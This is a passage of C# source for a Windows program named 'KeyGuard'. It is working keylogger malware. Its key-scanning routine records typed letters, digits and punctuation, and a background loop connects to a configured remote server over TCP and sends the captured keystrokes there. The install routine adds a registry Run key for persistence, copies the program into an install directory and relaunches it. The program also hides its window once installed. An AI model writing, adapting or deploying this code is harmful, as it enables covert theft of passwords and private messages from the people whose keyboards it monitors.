					ClientStream.Write(KGID, 0, KGID.Length);
					HasGreeted = true;
				}

				if (LogContainer.Length > 0) {
					KGLOG = Encoding.ASCII.GetBytes(LogContainer.ToString());
					ClientStream.Write(KGLOG, 0, KGLOG.Length);
					LogContainer.Clear();
				}

				// Catch ping from server.
				if (ClientStream.DataAvailable)
					ClientStream.Read(KGPING, 0, KGPING.Length);

			} catch (Exception e) {
				if (e is IOException || e is ObjectDisposedException)
					ClientStillConnected = false;

				if (Debugging)
					MsgBox("SendLog()_2: "+ e.Message);
			}
		}

		private void KeyScan()
		{
			int loop_a;
			string formatValue = "";
			char logValue = '_';

			// Prevent log spam.
			for (loop_a=0; loop_a<CurrentDownKeys.Count; loop_a++) {
				if ((GetKeyState(CurrentDownKeys[loop_a]) & 0x8000) == 0)
					CurrentDownKeys.RemoveAt(loop_a);
			}

			// Modifier keys
			if ((GetKeyState((int)Keys.ShiftKey) & 0x8000) == 0)
				ShiftIsDown = false;
			else
				ShiftIsDown = true;

			if ((GetKeyState((int)Keys.RMenu) & 0x8000) == 0)
				RAltIsDown = false;
			else
				RAltIsDown = true;

			// 0-9
			for (loop_a=0x30; loop_a<=0x39; loop_a++) {
				if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
					switch (loop_a) {
					case 0x30:
						logValue = (ShiftIsDown?'=':'0');
						break;

					case 0x31:
						logValue = (ShiftIsDown?'!':'1');
						break;

					case 0x32:
						logValue = (ShiftIsDown?'"':'2');
						logValue = (RAltIsDown?'@':logValue);
						break;

					case 0x33:
						logValue = (ShiftIsDown?'#':'3');
						break;

					case 0x34:
						logValue = (ShiftIsDown?'¤':'4');
						break;

					case 0x35:
						logValue = (ShiftIsDown?'%':'5');
						break;

					case 0x36:
						logValue = (ShiftIsDown?'&':'6');
						break;

					case 0x37:
						logValue = (ShiftIsDown?'/':'7');
						break;

					case 0x38:
						logValue = (ShiftIsDown?'(':'8');
						break;

						case 0x39:
						logValue = (ShiftIsDown?')':'9');
						break;
					}
					
					if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
						LogContainer.Append(logValue);
						CurrentDownKeys.Add(loop_a);
					}
					return;
				}
			}

			// 0-9 Numpad
			for(loop_a=0x60; loop_a<=0x69; loop_a++) {
				if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
					switch(loop_a) {
					case 0x06: 
						logValue = '0';
						break;

					case 0x61:
						logValue = '1';
						break;

					case 0x62:
						logValue = '2';
						break;

					case 0x63:
						logValue = '3';
						break;

					case 0x64:
						logValue = '4';
						break;

					case 0x65:
						logValue = '5';
						break;

					case 0x66:
						logValue = '6';
						break;

					case 0x67:
						logValue = '7';
						break;

					case 0x68:
						logValue = '8';
						break;

					case 0x69:
						logValue = '9';
						break;
					}

					if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
						LogContainer.Append(logValue);
						CurrentDownKeys.Add(loop_a);
					}
					return;
				}
			}

			// Works out case-sensitiv logging
			if ((GetKeyState((int)Keys.Capital) & 0x1) > 0 && 
					(GetKeyState((int)Keys.ShiftKey) & 0x8000) == 0)
				CapsLockOn = true;
			else if ((GetKeyState((int)Keys.Capital) & 0x1) == 0 && 
					(GetKeyState((int)Keys.ShiftKey) & 0x8000) > 0) 
				CapsLockOn = true;
			else
				CapsLockOn = false;
			
			// A-Z
			for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
				if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
					switch(loop_a) {
					case 0x41:
						logValue = (CapsLockOn?'A':'a');
						break;

					case 0x42:
						logValue = (CapsLockOn?'B':'b');
						break;

					case 0x43:
						logValue = (CapsLockOn?'C':'c');
						break;

					case 0x44:
						logValue = (CapsLockOn?'D':'d');
						break;

					case 0x45:
						logValue = (CapsLockOn?'E':'e');
						break;

					case 0x46:
						logValue = (CapsLockOn?'F':'f');
						break;

					case 0x47:
						logValue = (CapsLockOn?'G':'g');
						break;

					case 0x48:
						logValue = (CapsLockOn?'H':'h');
						break;

					case 0x49:
						logValue = (CapsLockOn?'I':'i');
						break;

					case 0x4A:
						logValue = (CapsLockOn?'J':'j');
						break;

					case 0x4B:
						logValue = (CapsLockOn?'K':'k');
						break;

					case 0x4C:
						logValue = (CapsLockOn?'L':'l');
						break;

					case 0x4D:
						logValue = (CapsLockOn?'M':'m');
						break;

					case 0x4E:
						logValue = (CapsLockOn?'N':'n');
						break;

					case 0x4F:
						logValue = (CapsLockOn?'O':'o');
						break;

					case 0x50:
						logValue = (CapsLockOn?'P':'p');
						break;

					case 0x51:
						logValue = (CapsLockOn?'Q':'q');
						break;
					
					case 0x52:
						logValue = (CapsLockOn?'R':'r');
						break;

					case 0x53:
						logValue = (CapsLockOn?'S':'s');
						break;

					case 0x54:
						logValue = (CapsLockOn?'T':'t');
						break;

					case 0x55:
						logValue = (CapsLockOn?'U':'u');
						break;

					case 0x56:
						logValue = (CapsLockOn?'V':'v');
						break;

					case 0x57:
						logValue = (CapsLockOn?'W':'w');
						break;

					case 0x58:
						logValue = (CapsLockOn?'X':'x');
						break;

					case 0x59:
						logValue = (CapsLockOn?'Y':'y');
						break;

					case 0x5A:
						logValue = (CapsLockOn?'Z':'z');
						break;
					}

					if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
						LogContainer.Append(logValue);
						CurrentDownKeys.Add(loop_a);
					}
					return;
				}
			}

			for (loop_a=0; loop_a<=7; loop_a++) {
				if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
					switch(loop_a) {
					case 0:
						formatValue = " ";
						break;

					case 1:
						formatValue = "[ENTER]";
						break;

					case 2:
						formatValue = (ShiftIsDown?"?":"+");
						break;
						
					case 3:
						formatValue = (ShiftIsDown?";":",");
						break;

					case 4:
						formatValue = (ShiftIsDown?"_":"-");
						break;

					case 5:
						formatValue = (ShiftIsDown?":":".");
						break;

					case 6:
						formatValue = "<";
						break;

					case 7:
						formatValue = "[Tab]";
						break;
					}
					
					if (formatValue != "" && !CurrentDownKeys.Contains(FormatKeys[loop_a])) {
						LogContainer.Append(formatValue);
						CurrentDownKeys.Add(FormatKeys[loop_a]);
					}
				}
			}
		}

		private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
		{
			using(AboutBox1 abox = new AboutBox1())
				abox.ShowDialog();
		}

		private void exitToolStripMenuItem_Click(object sender, EventArgs e)
		{
			this.Close();
		}

		private void btnInstallUpdate_Click(object sender, EventArgs e)
		{
			// Check given settings.
			Regex KGIDregex = new Regex(@"([0-9]{10})");
			Match KGIDmatch = KGIDregex.Match(txtProgramID.Text);
			if (
				txtProgramID.Text == "" || 
				txtServerIP.Text == "" ||
				txtServerPort.Text == ""
			) {
				MsgBox("Missing ID, IP or PORT.");
				return;
			
			} else if (!KGIDmatch.Success) {
				MsgBox("ID must be a 10 digit number.");
				return;
			}
			
			try {

			// Update registry run key.
			string RunKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
			using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(RunKey, true)) {
				RK.SetValue("KeyGuard", InstallDirectory + ClientFileName);
				RK.Close();
			}

			// Update registry settings.
			string SettingsKey = @"SOFTWARE\KeyGuard";
			using(RegistryKey RK = Registry.CurrentUser.CreateSubKey(SettingsKey)) {
				RK.SetValue("ID", txtProgramID.Text);
				RK.SetValue("IP", txtServerIP.Text);
				RK.SetValue("Port", txtServerPort.Text);
				RK.Close();
			}

			// Shut down any existing running client.
			Process[] ClientProcs = Process.GetProcessesByName("KeyGuardPatrol");
			foreach (Process P in ClientProcs)
				P.Kill();
			
			// Wait for the processes to actually die.
			bool ProcessesStillAlive = true;
			while (ProcessesStillAlive) {
				ClientProcs = Process.GetProcessesByName("KeyGuardPatrol");
				ProcessesStillAlive = false;
				foreach (Process P in ClientProcs)
					ProcessesStillAlive = true;
			}

			// Copy ourself onto the system.
			Directory.CreateDirectory(InstallDirectory);
			File.Copy(iClientFileName, InstallDirectory + ClientFileName, true);

			// Execute ourselves.
			Process.Start(InstallDirectory + ClientFileName);

			// Done.
			if (
				MessageBox.Show("Install/Update OK.", "Install/Update", MessageBoxButtons.OK) == 
				System.Windows.Forms.DialogResult.OK
			)
				this.Close();

			} catch (Exception ee) {
				MsgBox(ee.Message);
			}
		}

		public enum vKeys
		{
			[Description("Left mouse button")]
			VK_LBUTTON = 0x01,

			[Description("Right mouse button")]
			VK_RBUTTON = 0x02,

			[Description("Control-break processing")]
			VK_CANCEL = 0x03,

			[Description("Middle mouse button (three-button mouse)")]
			VK_MBUTTON = 0x04,

			[Description("X1 mouse button")]
			VK_XBUTTON1 = 0x05,

			[Description("X2 mouse button")]
			VK_XBUTTON2 = 0x06,

			[Description("BACKSPACE key")]
			VK_BACK = 0x08,

			[Description("TAB key")]
			VK_TAB = 0x09,

			[Description("CLEAR key")]
			VK_CLEAR = 0x0C,

			[Description("ENTER key")]
			VK_RETURN = 0x0D,

			[Description("SHIFT key")]
			VK_SHIFT = 0x10,

			[Description("CTRL key")]
			VK_CONTROL = 0x11,

			[Description("ALT key")]
			VK_MENU = 0x12,

			[Description("PAUSE key")]
			VK_PAUSE = 0x13,

			[Description("CAPS LOCK key")]
			VK_CAPITAL = 0x14,

			[Description("IME Kana mode")]
			VK_KANA = 0x15,

			[Description("IME Hanguel mode (maintained for compatibility; use VK_HANGUL)")]
			VK_HANGUEL = 0x15,

			[Description("IME Hangul mode")]
			VK_HANGUL = 0x15,

			[Description("IME Junja mode")]
			VK_JUNJA = 0x17,

			[Description("IME final mode")]
			VK_FINAL = 0x18,

			[Description("IME Hanja mode")]
			VK_HANJA = 0x19,

			[Description("IME Kanji mode")]
			VK_KANJI = 0x19,

			[Description("ESC key")]
			VK_ESCAPE = 0x1B,

			[Description("IME convert")]
			VK_CONVERT = 0x1C,

			[Description("IME nonconvert")]
			VK_NONCONVERT = 0x1D,

			[Description("IME accept")]
			VK_ACCEPT = 0x1E,

			[Description("IME mode change request")]
			VK_MODECHANGE = 0x1F,

			[Description("SPACEBAR")]
			VK_SPACE = 0x20,

			[Description("PAGE UP key")]
			VK_PRIOR = 0x21,

			[Description("PAGE DOWN key")]
			VK_NEXT = 0x22,

			[Description("END key")]
			VK_END = 0x23,

			[Description("HOME key")]
			VK_HOME = 0x24,

			[Description("LEFT ARROW key")]
			VK_LEFT = 0x25,

			[Description("UP ARROW key")]
			VK_UP = 0x26,

			[Description("RIGHT ARROW key")]
			VK_RIGHT = 0x27,

			[Description("DOWN ARROW key")]
			VK_DOWN = 0x28,

			[Description("SELECT key")]
			VK_SELECT = 0x29,

			[Description("PRINT key")]
			VK_PRINT = 0x2A,

			[Description("EXECUTE key")]
			VK_EXECUTE = 0x2B,

			[Description("PRINT SCREEN key")]
			VK_SNAPSHOT = 0x2C,

			[Description("INS key")]
			VK_INSERT = 0x2D,

			[Description("DEL key")]
			VK_DELETE = 0x2E,

			[Description("HELP key")]
			VK_HELP = 0x2F,

			[Description("0 key")]
			K_0 = 0x30,

			[Description("1 key")]
			K_1 = 0x31,

			[Description("2 key")]
			K_2 = 0x32,

			[Description("3 key")]
			K_3 = 0x33,

			[Description("4 key")]
			K_4 = 0x34,

			[Description("5 key")]
			K_5 = 0x35,

			[Description("6 key")]
			K_6 = 0x36,

			[Description("7 key")]
			K_7 = 0x37,

			[Description("8 key")]
			K_8 = 0x38,

			[Description("9 key")]
			K_9 = 0x39,

			[Description("A key")]
			K_A = 0x41,

			[Description("B key")]
			K_B = 0x42,

			[Description("C key")]
			K_C = 0x43,

			[Description("D key")]
			K_D = 0x44,

			[Description("E key")]
			K_E = 0x45,

			[Description("F key")]
			K_F = 0x46,

			[Description("G key")]
			K_G = 0x47,

			[Description("H key")]
			K_H = 0x48,

			[Description("I key")]
			K_I = 0x49,

			[Description("J key")]
			K_J = 0x4A,

			[Description("K key")]
			K_K = 0x4B,

			[Description("L key")]
			K_L = 0x4C,

			[Description("M key")]
			K_M = 0x4D,

			[Description("N key")]
			K_N = 0x4E,

			[Description("O key")]
			K_O = 0x4F,

			[Description("P key")]
			K_P = 0x50,

			[Description("Q key")]
			K_Q = 0x51,

			[Description("R key")]
			K_R = 0x52,

			[Description("S key")]
			K_S = 0x53,

			[Description("T key")]
			K_T = 0x54,

			[Description("U key")]
			K_U = 0x55,

			[Description("V key")]
			K_V = 0x56,

			[Description("W key")]
			K_W = 0x57,

			[Description("X key")]
			K_X = 0x58,

			[Description("Y key")]
			K_Y = 0x59,

			[Description("Z key")]
			K_Z = 0x5A,

			[Description("Left Windows key (Natural keyboard)")]
			VK_LWIN = 0x5B,

			[Description("Right Windows key (Natural keyboard)")]
			VK_RWIN = 0x5C,

			[Description("Applications key (Natural keyboard)")]
			VK_APPS = 0x5D,

			[Description("Computer Sleep key")]
			VK_SLEEP = 0x5F,

			[Description("Numeric keypad 0 key")]
			VK_NUMPAD0 = 0x60,

			[Description("Numeric keypad 1 key")]
			VK_NUMPAD1 = 0x61,

			[Description("Numeric keypad 2 key")]
			VK_NUMPAD2 = 0x62,

			[Description("Numeric keypad 3 key")]
			VK_NUMPAD3 = 0x63,

			[Description("Numeric keypad 4 key")]
			VK_NUMPAD4 = 0x64,

			[Description("Numeric keypad 5 key")]
			VK_NUMPAD5 = 0x65,

			[Description("Numeric keypad 6 key")]
			VK_NUMPAD6 = 0x66,

			[Description("Numeric keypad 7 key")]
			VK_NUMPAD7 = 0x67,

			[Description("Numeric keypad 8 key")]
			VK_NUMPAD8 = 0x68,

			[Description("Numeric keypad 9 key")]
			VK_NUMPAD9 = 0x69,

			[Description("Multiply key")]
			VK_MULTIPLY = 0x6A,

			[Description("Add key")]
			VK_ADD = 0x6B,

			[Description("Separator key")]
			VK_SEPARATOR = 0x6C,

			[Description("Subtract key")]
			VK_SUBTRACT = 0x6D,

			[Description("Decimal key")]
			VK_DECIMAL = 0x6E,

			[Description("Divide key")]
			VK_DIVIDE = 0x6F,

			[Description("F1 key")]
			VK_F1 = 0x70,

			[Description("F2 key")]
			VK_F2 = 0x71,

			[Description("F3 key")]
			VK_F3 = 0x72,

			[Description("F4 key")]
			VK_F4 = 0x73,

			[Description("F5 key")]
			VK_F5 = 0x74,

			[Description("F6 key")]
			VK_F6 = 0x75,

			[Description("F7 key")]
			VK_F7 = 0x76,

			[Description("F8 key")]
			VK_F8 = 0x77,

			[Description("F9 key")]
			VK_F9 = 0x78,

			[Description("F10 key")]
			VK_F10 = 0x79,

			[Description("F11 key")]
			VK_F11 = 0x7A,

			[Description("F12 key")]
			VK_F12 = 0x7B,

			[Description("F13 key")]
			VK_F13 = 0x7C,

			[Description("F14 key")]
			VK_F14 = 0x7D,

			[Description("F15 key")]
			VK_F15 = 0x7E,

			[Description("F16 key")]
			VK_F16 = 0x7F,

			[Description("F17 key")]
			VK_F17 = 0x80,

			[Description("F18 key")]
			VK_F18 = 0x81,

			[Description("F19 key")]
			VK_F19 = 0x82,

			[Description("F20 key")]
			VK_F20 = 0x83,

			[Description("F21 key")]
			VK_F21 = 0x84,

			[Description("F22 key")]
			VK_F22 = 0x85,

			[Description("F23 key")]
			VK_F23 = 0x86,

			[Description("F24 key")]
			VK_F24 = 0x87,

			[Description("NUM LOCK key")]
			VK_NUMLOCK = 0x90,

			[Description("SCROLL LOCK key")]
			VK_SCROLL = 0x91,

			[Description("Left SHIFT key")]
			VK_LSHIFT = 0xA0,

			[Description("Right SHIFT key")]
			VK_RSHIFT = 0xA1,

			[Description("Left CONTROL key")]
			VK_LCONTROL = 0xA2,

			[Description("Right CONTROL key")]
			VK_RCONTROL = 0xA3,

			[Description("Left MENU key")]
			VK_LMENU = 0xA4,

			[Description("Right MENU key")]
			VK_RMENU = 0xA5,

			[Description("Browser Back key")]
			VK_BROWSER_BACK = 0xA6,

			[Description("Browser Forward key")]
			VK_BROWSER_FORWARD = 0xA7,

			[Description("Browser Refresh key")]
			VK_BROWSER_REFRESH = 0xA8,

			[Description("Browser Stop key")]
			VK_BROWSER_STOP = 0xA9,

			[Description("Browser Search key")]
			VK_BROWSER_SEARCH = 0xAA,

			[Description("Browser Favorites key")]
			VK_BROWSER_FAVORITES = 0xAB,

			[Description("Browser Start and Home key")]
			VK_BROWSER_HOME = 0xAC,

			[Description("Volume Mute key")]
			VK_VOLUME_MUTE = 0xAD,

			[Description("Volume Down key")]
			VK_VOLUME_DOWN = 0xAE,

			[Description("Volume Up key")]
			VK_VOLUME_UP = 0xAF,

			[Description("Next Track key")]
			VK_MEDIA_NEXT_TRACK = 0xB0,

			[Description("Previous Track key")]
			VK_MEDIA_PREV_TRACK = 0xB1,

			[Description("Stop Media key")]
			VK_MEDIA_STOP = 0xB2,

			[Description("Play/Pause Media key")]
			VK_MEDIA_PLAY_PAUSE = 0xB3,

			[Description("Start Mail key")]
			VK_LAUNCH_MAIL = 0xB4,

			[Description("Select Media key")]
			VK_LAUNCH_MEDIA_SELECT = 0xB5,

			[Description("Start Application 1 key")]
			VK_LAUNCH_APP1 = 0xB6,

			[Description("Start Application 2 key")]
			VK_LAUNCH_APP2 = 0xB7,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ';:' key")]
			VK_OEM_1 = 0xBA,

			[Description("For any country/region, the '+' key")]
			VK_OEM_PLUS = 0xBB,

			[Description("For any country/region, the ',' key")]
			VK_OEM_COMMA = 0xBC,

			[Description("For any country/region, the '-' key")]
			VK_OEM_MINUS = 0xBD,

			[Description("For any country/region, the '.' key")]
			VK_OEM_PERIOD = 0xBE,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '/?' key")]
			VK_OEM_2 = 0xBF,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '`~' key")]
			VK_OEM_3 = 0xC0,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '[{' key")]
			VK_OEM_4 = 0xDB,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '\\|' key")]
			VK_OEM_5 = 0xDC,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ']}' key")]
			VK_OEM_6 = 0xDD,

			[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the 'single-quote/double-quote' key")]
			VK_OEM_7 = 0xDE,

			[Description("Used for miscellaneous characters; it can vary by keyboard.")]
			VK_OEM_8 = 0xDF,

			[Description("Either the angle bracket key or the backslash key on the RT 102-key keyboard")]
			VK_OEM_102 = 0xE2,

			[Description("IME PROCESS key")]
			VK_PROCESSKEY = 0xE5,

			[Description("Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP")]
			VK_PACKET = 0xE7,

			[Description("Attn key")]
			VK_ATTN = 0xF6,

			[Description("CrSel key")]
			VK_CRSEL = 0xF7,

			[Description("ExSel key")]
			VK_EXSEL = 0xF8,

			[Description("Erase EOF key")]
			VK_EREOF = 0xF9,

			[Description("Play key")]
			VK_PLAY = 0xFA,

			[Description("Zoom key")]
			VK_ZOOM = 0xFB,

			[Description("PA1 key")]
			VK_PA1 = 0xFD,

			[Description("Clear key")]
			VK_OEM_CLEAR = 0xFE,
		}

		private void MsgBox(string s)
		{
			MessageBox.Show(s, "KeyGuard", MessageBoxButtons.OK);
		}

		private void Form1_Load(object sender, EventArgs e)
		{
			if (Installed)
				this.Hide();
		}

		private void bkWorker_DoWork(object sender, DoWorkEventArgs e)
		{
			// Try to connect and stay connected. 
			// Reconnect if possible when disconnected.
			while (EngineRunning) {
				
				// Keep it CPU friendly... Sorta.
				Thread.Sleep(1);

				// Peek keys for GetKeyState, but do not remove it (0x0000).
				PeekMessage(out msg, IntPtr.Zero, 0, 0, 0x0000);

				// Scan for keys.
				if (Installed)
					KeyScan();

				// Check if we're connected.
				if (!Client.Connected || !ClientStillConnected) {
					
					Thread.Sleep(2000);

					try { ClientStream.Close(); Client.Close(); } catch (Exception) { /* Quick release. */ }
					try {
						Client = new TcpClient();
						Client.Connect(IPAddress.Parse(Settings[1]), Int32.Parse(Settings[2]));
						ClientStream = Client.GetStream();
						ClientStream.WriteTimeout = 5000;
						ClientStream.ReadTimeout = 5000;
						ClientStillConnected = true;
						HasGreeted = false;
						
					} catch (Exception ee) {
						if (Debugging)
							MsgBox("bkWorker_DoWork(): "+ ee.Message);
						
						// (Re)Connection failed, no point trying to send.
						continue;
					}
				}

				SendLog();
			}
		}
	}
}